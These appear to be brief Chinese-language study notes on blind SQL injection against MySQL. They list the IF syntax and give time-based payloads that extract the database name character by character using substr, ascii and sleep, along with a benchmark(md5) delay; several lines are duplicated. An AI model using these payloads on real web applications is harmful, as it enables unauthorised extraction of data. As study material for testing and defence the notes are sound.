条件:返回正确或者错误页面
image.png
if(EXPR,TRUEEXPR,FALSEEXPR)
time-based
if(ascii(substr((select database() limit 0,1),1,1))>97,sleep(3),0)
select benchmark(10000000,md5('a'))
if(EXPR,TRUEEXPR,FALSEEXPR)
if(ascii(substr((select database() limit 0,1),1,1))>97,sleep(3),0)
select benchmark(10000000,md5('a'))